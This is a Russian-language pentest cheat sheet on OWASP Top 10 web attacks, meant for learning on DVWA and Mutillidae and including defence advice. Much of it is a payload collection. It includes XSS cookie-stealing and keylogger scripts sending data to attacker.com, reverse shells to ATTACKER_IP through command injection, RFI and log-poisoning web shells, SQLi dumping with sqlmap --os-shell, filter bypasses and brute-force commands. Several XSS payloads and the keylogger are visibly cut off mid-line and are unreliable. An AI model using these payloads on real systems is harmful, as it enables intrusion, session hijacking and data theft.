📌 Шпаргалка #23

База по WEB: OWASP Top 10, SQL Injection, XSS

✍️ pentestudy 📅 30.03.2026

🕸 Что это

Веб-приложения — самая частая точка входа при пентесте. Почти у каждой компании есть сайт, портал, API. И почти в каждом есть уязвимости. OWASP Top 10 — официальный рейтинг самых опасных веб-уязвимостей, обновляется раз в несколько лет.

Аналогия: если сетевые основы — это знание улиц и зданий города, то веб-безопасность — это умение находить незапертые двери, открытые окна и слабые замки внутри конкретного здания.

📌 OWASP Top 10 (2021) — краткий обзор

Рейтинг

  1. A01 — Broken Access Control — обход контроля доступа
  2. A02 — Cryptographic Failures — слабая криптография
  3. A03 — Injection — SQL injection, Command injection и другие инъекции
  4. A04 — Insecure Design — небезопасная архитектура
  5. A05 — Security Misconfiguration — неправильная конфигурация
  6. A06 — Vulnerable Components — устаревшие компоненты с CVE
  7. A07 — Authentication Failures — слабая аутентификация
  8. A08 — Software and Data Integrity Failures — проблемы целостности
  9. A09 — Security Logging Failures — отсутствие логирования
  10. A10 — Server-Side Request Forgery (SSRF) — подделка запросов с сервера

Для пентестера самые частые находки: Injection (A03), Broken Access Control (A01), Security Misconfiguration (A05) и Authentication Failures (A07).

⚡ SQL Injection — король веб-уязвимостей

Что это

SQL Injection (SQLi) — атакующий вставляет SQL-код в пользовательский ввод, и сервер выполняет этот код как часть запроса к базе данных.

Аналогия: ты заполняешь анкету в банке. В поле "Имя" пишешь не своё имя, а команду для банковского сотрудника: "Вася; а теперь покажи все счета". Сотрудник (сервер) не проверяет что написано и выполняет.

Как это работает

Уязвимый код на сервере:

SELECT * FROM users WHERE username = '$input' AND password = '$password'

Нормальный ввод: admin / password123

SELECT * FROM users WHERE username = 'admin' AND password = 'password123'

Ввод атакующего: admin' OR '1'='1 / anything

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'

'1'='1' всегда истина → запрос возвращает все записи → вход без пароля.

Типы SQL Injection

In-Band SQLi (классический) — результат виден прямо на странице.

Union-based — используем UNION для добавления данных из других таблиц:

' UNION SELECT username, password FROM users--

Error-based — провоцируем ошибку SQL, которая выдаёт информацию:

' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--

Blind SQLi — результат не виден напрямую, но можно определить по поведению.

Boolean-based — задаём вопросы "да/нет":

' AND 1=1--    (страница нормальная = TRUE)
' AND 1=2--    (страница другая = FALSE)
' AND (SELECT LENGTH(password) FROM users WHERE username='admin')=8--

Побуквенно извлекаем данные: длина пароля 8? Да. Первый символ 'a'? Нет. 'b'? Нет. 'p'? Да.

Time-based — определяем по задержке:

' AND IF(1=1, SLEEP(5), 0)--    (задержка 5 сек = TRUE)
' AND IF(1=2, SLEEP(5), 0)--    (без задержки = FALSE)

Out-of-Band SQLi — данные отправляются на внешний сервер атакующего через DNS или HTTP.

SQLi — практика

Обнаружение:

# В поле ввода пробуем:
'
''
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
" OR "1"="1
1' ORDER BY 1--
1' UNION SELECT NULL--

Если поведение страницы меняется (ошибка, другой контент, задержка) — вероятно есть SQLi.

Определение количества столбцов:

' ORDER BY 1--    (ок)
' ORDER BY 2--    (ок)
' ORDER BY 3--    (ок)
' ORDER BY 4--    (ошибка → значит 3 столбца)

Извлечение данных:

-- Узнать версию БД
' UNION SELECT NULL, version(), NULL--
 
-- Список таблиц
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables--
 
-- Столбцы конкретной таблицы
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users'--
 
-- Данные
' UNION SELECT NULL, username, password FROM users--

Комментарии в разных СУБД:

  • MySQL: -- (с пробелом после), #, /* */
  • PostgreSQL: --
  • MSSQL: --
  • Oracle: --

SQLMap — автоматизация

# Базовый скан
sqlmap -u "http://target.com/page?id=1"
 
# С cookie (для авторизованных страниц)
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123"
 
# POST-запрос
sqlmap -u "http://target.com/login" --data="username=admin&password=test"
 
# Получить список баз данных
sqlmap -u "http://target.com/page?id=1" --dbs
 
# Таблицы в базе
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
 
# Дамп таблицы
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
 
# Получить shell
sqlmap -u "http://target.com/page?id=1" --os-shell

Защита от SQLi

  • Prepared Statements (параметризованные запросы) — главная защита. Данные отделяются от кода SQL
  • Stored Procedures — заранее скомпилированные запросы
  • Whitelist валидация — проверка ввода по списку допустимых значений
  • Экранирование — замена спецсимволов (слабая защита, лучше не полагаться)
  • WAF — Web Application Firewall может блокировать известные паттерны SQLi

🔍 XSS — Cross-Site Scripting

Что это

XSS — атакующий внедряет JavaScript-код в веб-страницу, которую видят другие пользователи. Браузер жертвы выполняет этот код как легитимный.

Аналогия: кто-то приклеил фальшивое объявление на стену банка: "Введите PIN-код на этой форме для проверки". Посетители верят, потому что оно на стене банка.

Типы XSS

Reflected XSS (отражённый) — вредоносный скрипт в URL, сервер "отражает" его в ответе.

http://target.com/search?q=<script>alert('XSS')</script>

Если сервер вставляет параметр q в HTML без фильтрации:

<p>Результаты для: <script>alert('XSS')</script></p>

Браузер выполняет скрипт. Атакующий отправляет жертве ссылку с вредоносным параметром.

Stored XSS (хранимый) — самый опасный. Скрипт сохраняется в базе данных и выполняется у каждого, кто открывает страницу.

Пример: форум, где в комментарии можно вставить:

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Каждый, кто откроет тему с этим комментарием — отправит свои cookie атакующему.

DOM-based XSS — скрипт выполняется на стороне клиента через JavaScript, без участия сервера.

// Уязвимый код на странице
document.getElementById('output').innerHTML = location.hash.substring(1);
 
// Атака
http://target.com/page#<img src=x 

XSS — практика

Базовые пробы:

<script>alert('XSS')</script>
<script>alert(1)</script>
<img src=x 
<svg 
<body 
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
<iframe src="alert('XSS')">

Обход фильтров:

<!-- Если фильтруют <script> -->
<ScRiPt>alert('XSS')</ScRiPt>
<scr<script>ipt>alert('XSS')</scr</script>ipt>
<img src=x 
 
<!-- Если фильтруют alert -->
<script>confirm('XSS')</script>
<script>prompt('XSS')</script>
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
 
<!-- Кодирование -->
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x 

Кража cookie через XSS:

<script>
new Image().src='http://attacker.com/steal?c='+document.cookie;
</script>
 
<script>
fetch('http://attacker.com/steal?c='+document.cookie);
</script>

Keylogger через XSS:

<script>
document.
  new Image().src='http://attacker.com/log?k='+e.key;
}
</script>

Защита от XSS

  • Output Encoding — кодирование спецсимволов (<&lt;, >&gt;) перед вставкой в HTML
  • Content Security Policy (CSP) — заголовок, запрещающий выполнение inline-скриптов
  • HttpOnly cookie — JavaScript не может прочитать cookie с этим флагом
  • Sanitization — очистка ввода от HTML-тегов
  • X-XSS-Protection — заголовок браузера (устаревший, но всё ещё встречается)

⚡ CSRF — Cross-Site Request Forgery

Что это

CSRF — атакующий заставляет браузер жертвы отправить запрос на сайт, где жертва авторизована. Браузер автоматически подставляет cookie.

Аналогия: кто-то подделал твою подпись на чеке. Банк видит твою подпись (cookie) и выполняет операцию, хотя ты ничего не подписывал.

Как это работает

1. Жертва залогинена в bank.com (браузер хранит session cookie)
2. Жертва открывает страницу атакующего evil.com
3. На evil.com скрытая форма:
 
<form action="http://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
 
4. Браузер отправляет запрос на bank.com с cookie жертвы
5. bank.com видит валидную сессию и выполняет перевод

CSRF — практика

Базовый CSRF через изображение (GET-запрос):

<img src="http://target.com/change-email?email=attacker@evil.com" width="0" height="0">

Через скрытую форму (POST-запрос):

<body 
<form id="csrf-form" action="http://target.com/change-password" method="POST">
  <input type="hidden" name="new_password" value="hacked123">
</form>
</body>

Через AJAX (если CORS позволяет):

<script>
fetch('http://target.com/api/change-email', {
  method: 'POST',
  credentials: 'include',
  body: JSON.stringify({email: 'attacker@evil.com'}),
  headers: {'Content-Type': 'application/json'}
});
</script>

Защита от CSRF

  • CSRF-токен — уникальный токен в каждой форме, который сервер проверяет. Атакующий не знает токен и не может подделать запрос
  • SameSite cookie — флаг SameSite=Strict запрещает отправку cookie при запросах с других сайтов
  • Проверка Referer/Origin — сервер проверяет откуда пришёл запрос
  • Требование повторной аутентификации — для критических действий (смена пароля, перевод денег) требуется ввод пароля

🔍 Command Injection — инъекция команд ОС

Что это

Атакующий вставляет команды операционной системы через пользовательский ввод. Сервер выполняет их.

Аналогия: как SQL Injection, но вместо SQL-запросов — команды Linux/Windows.

Как это работает

Уязвимый код:

$output = shell_exec("ping -c 4 " . $_GET['ip']);
echo $output;

Нормальный ввод: ***.***.*.*

ping -c 4 ***.***.*.*

Ввод атакующего: ***.***.*.*; cat /etc/passwd

ping -c 4 ***.***.*.*; cat /etc/passwd

Точка с запятой разделяет команды — выполняются обе.

Разделители команд

;         # Выполнить следующую команду
|         # Pipe: передать вывод первой команде второй
||        # Выполнить вторую если первая неуспешна
&         # Выполнить в фоне
&&        # Выполнить вторую если первая успешна
$(cmd)    # Подстановка команды
`cmd`     # Подстановка команды (обратные кавычки)

Command Injection — практика

# Базовые пробы
; whoami
| whoami
|| whoami
& whoami
&& whoami
$(whoami)
`whoami`
 
# Реверс-шелл через инъекцию
; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
| nc ATTACKER_IP 4444 -e /bin/bash
; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Защита от Command Injection

  • Не использовать системные команды — заменить функциями языка (вместо ping — библиотека для сетевых проверок)
  • Whitelist валидация — разрешить только IP-адреса, числа, определённые символы
  • Экранированиеescapeshellarg() в PHP, shlex.quote() в Python

⚡ File Inclusion — включение файлов

LFI (Local File Inclusion)

Чтение локальных файлов на сервере через уязвимый параметр.

Уязвимый код:

include($_GET['page'] . ".php");

Нормальный запрос: http://target.com/index.php?page=about

Атака: http://target.com/index.php?page=../../../etc/passwd

Traversal (обход директории):

../../../etc/passwd
....//....//....//etc/passwd      (обход фильтра ../)
..%2f..%2f..%2fetc%2fpasswd      (URL-кодирование)
/etc/passwd%00                     (null byte — обрезает .php в старых PHP)

Интересные файлы для чтения:

# Linux
/etc/passwd                    # Список пользователей
/etc/shadow                    # Хеши паролей (если повезёт)
/etc/hosts                     # Локальные DNS-записи
/proc/self/environ             # Переменные окружения (пароли!)
/var/log/apache2/access.log    # Логи Apache (для log poisoning)
/home/user/.ssh/id_rsa         # Приватный SSH-ключ
 
# Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config  # Конфиг IIS с паролями

LFI → RCE (выполнение кода):

Log Poisoning — внедрение PHP-кода в лог, потом чтение лога через LFI:

# 1. Отправляем запрос с PHP-кодом в User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
 
# 2. PHP-код попал в /var/log/apache2/access.log
 
# 3. Читаем лог через LFI с командой
http://target.com/index.php?page=../../../var/log/apache2/access.log&cmd=whoami

RFI (Remote File Inclusion)

Подгрузка файла с внешнего сервера. Работает если в PHP включён allow_url_include.

http://target.com/index.php?page=http://attacker.com/shell.php

На attacker.com/shell.php:

<?php system($_GET['cmd']); ?>

RFI встречается реже, чем LFI — большинство серверов отключают allow_url_include.

🔧 SSRF — Server-Side Request Forgery

Что это

SSRF — заставляем сервер делать HTTP-запросы от своего имени. Сервер имеет доступ к внутренним ресурсам, которые не видны снаружи.

Аналогия: просишь сотрудника компании (сервер) позвонить по внутреннему номеру (внутренний ресурс), который снаружи не доступен.

Как это работает

Уязвимый функционал — "Проверить URL", "Загрузить изображение по ссылке", "Превью ссылки":

# Нормальный запрос
http://target.com/fetch?url=http://example.com/image.jpg
 
# SSRF — доступ к внутренним ресурсам
http://target.com/fetch?url=http://127.0.0.1:8080/admin
http://target.com/fetch?url=http://10.0.0.1/internal
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/  (AWS metadata!)

SSRF — ключевые цели

Cloud Metadata API — самая опасная цель SSRF:

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
 
# Google Cloud
http://metadata.google.internal/computeMetadata/v1/
 
# Azure
http://169.254.169.254/metadata/instance

Через metadata API можно получить IAM-ключи, токены доступа, конфигурацию — полный доступ к облачной инфраструктуре.

Внутренние сервисы:

http://127.0.0.1:6379/       # Redis
http://127.0.0.1:9200/       # Elasticsearch
http://127.0.0.1:27017/      # MongoDB
http://127.0.0.1:9000/       # Portainer
http://10.0.0.1/admin        # Внутренняя админка

Обход фильтров SSRF

# Вместо 127.0.0.1
http://localhost/
http://0.0.0.0/
http://0x7f000001/          (hex)
http://2130706433/           (decimal)
http://127.1/
http://[::1]/                (IPv6)
 
# Обход фильтра домена
http://attacker.com@127.0.0.1/
http://127.0.0.1.attacker.com/

🛡 Broken Access Control — обход контроля доступа

Что это

Пользователь получает доступ к ресурсам или функциям, которые ему не разрешены. Самая распространённая уязвимость по OWASP.

Типы

IDOR (Insecure Direct Object Reference) — прямой доступ к объектам по ID:

# Твой профиль
http://target.com/api/users/123
 
# Чужой профиль — просто меняешь ID
http://target.com/api/users/124
http://target.com/api/users/125

Horizontal Privilege Escalation — доступ к данным другого пользователя того же уровня (user → другой user).

Vertical Privilege Escalation — доступ к функциям более высокого уровня (user → admin):

# Обычная страница
http://target.com/dashboard
 
# Админка — просто знаешь URL
http://target.com/admin
http://target.com/admin/users
http://target.com/api/admin/delete-user

Forced Browsing — перебор URL для нахождения скрытых страниц:

# dirb
dirb http://target.com /usr/share/wordlists/dirb/common.txt
 
# gobuster
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt
 
# ffuf
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

Parameter Tampering — изменение параметров запроса:

# Оригинальный запрос
POST /change-role
role=user&userId=123
 
# Атака
POST /change-role
role=admin&userId=123

⚡ Authentication Failures — слабая аутентификация

Распространённые проблемы

Дефолтные пароли:

admin:admin
admin:password
root:root
test:test
admin:123456

Ты видел это на Shodan — Portainer без пароля, VNC с паролем "password", NAS с дефолтными кредами.

Брутфорс без защиты:

# Hydra — брутфорс веб-формы
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
 
# Burp Suite Intruder — более гибкий инструмент

Слабая политика паролей:

  • Нет минимальной длины
  • Нет требования к сложности
  • Нет блокировки после N неудачных попыток
  • Нет rate limiting

Уязвимости сессий:

  • Предсказуемые session ID
  • Сессия не инвалидируется после логаута
  • Session fixation — атакующий навязывает свой session ID жертве

🔧 Security Misconfiguration — неправильная конфигурация

Что это

Самая простая для эксплуатации и самая частая уязвимость. Всё что ты видел на Shodan — это примеры мисконфигурации.

Типичные примеры

Дефолтные настройки:

  • Portainer без пароля (как на Google Cloud)
  • Node Exporter без аутентификации (Dell PowerEdge)
  • MongoDB/Redis/Elasticsearch без пароля

Лишняя информация:

  • Страницы ошибок с трейсбеком (версии, пути, SQL-запросы)
  • Заголовок Server: Apache/2.4.41 — версия сервера
  • .git директория доступна — можно скачать исходный код

Открытые директории и файлы:

# Поиск интересных файлов
http://target.com/.git/config           # Git-репозиторий
http://target.com/.env                  # Переменные окружения (пароли!)
http://target.com/backup.sql            # Дамп базы данных
http://target.com/phpinfo.php           # Полная информация о PHP
http://target.com/wp-config.php.bak     # Конфиг WordPress с паролями
http://target.com/robots.txt            # Что скрывают от поисковиков
http://target.com/sitemap.xml           # Карта сайта
http://target.com/.DS_Store             # macOS файл с листингом директории

Инструменты для обнаружения:

# Nikto — сканер мисконфигураций
nikto -h http://target.com
 
# Поиск скрытых файлов
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt,bak,sql,env,git
 
# Поиск .git
git-dumper http://target.com/.git/ ./output

🔍 Vulnerable Components — устаревший софт

Что это

Использование библиотек, фреймворков и сервисов с известными CVE. Как тот банк с IIS 7.5 — версия 2009 года с CVE на 10/10.

Как находить

# Определить версии
nmap -sV TARGET_IP
curl -I http://target.com     # Заголовки сервера
 
# Поиск CVE
searchsploit apache 2.4.41
searchsploit wordpress 5.8
 
# Автоматическое сканирование
nmap --script vuln TARGET_IP
nikto -h http://target.com
 
# Проверка WordPress
wpscan --url http://target.com --enumerate vp,vt,u

🎯 DVWA и Mutillidae — тренажёры

DVWA (Damn Vulnerable Web Application)

Уже есть на твоём Metasploitable2. Открой в браузере:

http://***.***.*.*/dvwa/
Login: admin / password

DVWA имеет уровни сложности: Low, Medium, High, Impossible. Начни с Low — фильтры отключены. Потом повышай.

Доступные задания: SQL Injection, Reflected XSS, Stored XSS, Command Injection, File Inclusion, File Upload, CSRF, Brute Force.

Mutillidae

Тоже на Metasploitable2:

http://***.***.*.*/mutillidae/

Более продвинутый тренажёр с OWASP Top 10 уязвимостями.

🧠 Готовые комбо

Тестирование веб-приложения:

Nikto → общий скан → gobuster → скрытые файлы → ручная проверка форм → SQLi/XSS → SQLMap (если нашёл SQLi) → проверка IDOR → проверка CSRF

SQL Injection от обнаружения до дампа:

' в поле → ошибка? → ORDER BY N → количество столбцов → UNION SELECT → version() → таблицы → столбцы → данные → sqlmap --dump

XSS от обнаружения до кражи сессии:

<script>alert(1)</script> → работает? → <script>fetch('http://attacker/steal?c='+document.cookie)</script> → получаем cookie → подставляем в браузер → мы залогинены как жертва

LFI от обнаружения до RCE:

../../../etc/passwd → работает? → ../../../var/log/apache2/access.log → доступен? → отправляем PHP в User-Agent → читаем лог с параметром cmd → RCE

⚠️ Важные моменты

  • SQLi — это не только формы. Cookie, HTTP-заголовки (User-Agent, Referer), URL-параметры — всё может быть вектором инъекции
  • XSS опасен не alert(1). Кража сессий, keylogger, перенаправление, майнинг криптовалюты — реальные последствия XSS
  • CSRF работает потому что браузер автоматически отправляет cookie. Поэтому SameSite=Strict — критически важный флаг
  • SSRF на облачных серверах = катастрофа. Доступ к metadata API через SSRF часто приводит к полной компрометации AWS/GCP/Azure инфраструктуры
  • Начинай с DVWA на Low. Не перескакивай уровни — каждый учит обходу конкретного типа фильтра
  • Burp Suite — главный инструмент веб-пентестера. Бесплатная Community Edition достаточна для учёбы. Перехватываешь запросы, модифицируешь, повторяешь
  • Всегда проверяй robots.txt и .git. Это первое что делает любой пентестер — часто находятся скрытые пути и исходный код
  • Мисконфигурация — самая частая находка. Не нужны сложные эксплойты, когда .env файл с паролями лежит в открытом доступе
Содержание
🕸 Что это 📌 OWASP Top 10 (2021) — краткий обзор Рейтинг ⚡ SQL Injection — король веб-уязвимостей Что это Как это работает Типы SQL Injection SQLi — практика SQLMap — автоматизация Защита от SQLi 🔍 XSS — Cross-Site Scripting Что это Типы XSS XSS — практика Защита от XSS ⚡ CSRF — Cross-Site Request Forgery Что это Как это работает CSRF — практика Защита от CSRF 🔍 Command Injection — инъекция команд ОС Что это Как это работает Разделители команд Command Injection — практика Защита от Command Injection ⚡ File Inclusion — включение файлов LFI (Local File Inclusion) RFI (Remote File Inclusion) 🔧 SSRF — Server-Side Request Forgery Что это Как это работает SSRF — ключевые цели Обход фильтров SSRF 🛡 Broken Access Control — обход контроля доступа Что это Типы ⚡ Authentication Failures — слабая аутентификация Распространённые проблемы 🔧 Security Misconfiguration — неправильная конфигурация Что это Типичные примеры 🔍 Vulnerable Components — устаревший софт Что это Как находить 🎯 DVWA и Mutillidae — тренажёры DVWA (Damn Vulnerable Web Application) Mutillidae 🧠 Готовые комбо ⚠️ Важные моменты